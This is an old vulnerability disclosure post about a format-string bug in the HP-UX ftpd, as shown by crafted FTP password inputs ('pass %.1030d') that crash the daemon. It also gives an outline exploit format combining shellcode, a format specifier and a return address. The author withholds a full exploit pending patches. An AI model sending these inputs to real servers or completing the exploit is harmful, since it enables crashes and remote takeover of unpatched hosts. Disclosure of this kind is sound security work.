hpux.ftpd.txt

`Hello,  
  
I have discovered HPUX ftpd remote vulnerability. The problem persists  
in using vsprintf() without format string. Example:  
  
220 xxx FTP server (Version 1.7.212.2 Tue Apr 21 12:14:46 GMT 1998) ready.  
user ftp  
331 Guest login ok, send ident as password.  
pass %.1030d  
230 Guest login ok, access restrictions apply.  
Connection closed by foreign host.  
  
Ftpd segfaulted here. Let's try with smaller value:  
  
220 xxx FTP server (Version 1.7.212.2 Tue Apr 21 12:14:46 GMT 1998) ready.  
user ftp  
331 Guest login ok, send ident as password.  
pass %.1024d  
230 Guest login ok, access restrictions apply.  
quit  
221 Goodbye.  
Connection closed by foreign host.  
  
It works now. So, password buffer is 1024 bytes long. No problem with  
exploiting this, by sending such format string:  
  
<shellcode>%.<len>d<ret>  
  
I have almost working exploit, but don't want to post it, until patches  
will be available. HP Security Team is notified.  
  
--  
* Fido: 2:480/124 ** WWW: http://www.freebsd.lublin.pl ** NIC-HDL: PMF9-RIPE *  
* Inet: [email protected] ** PGP: D48684904685DF43 EA93AFA13BE170BF *  
  
`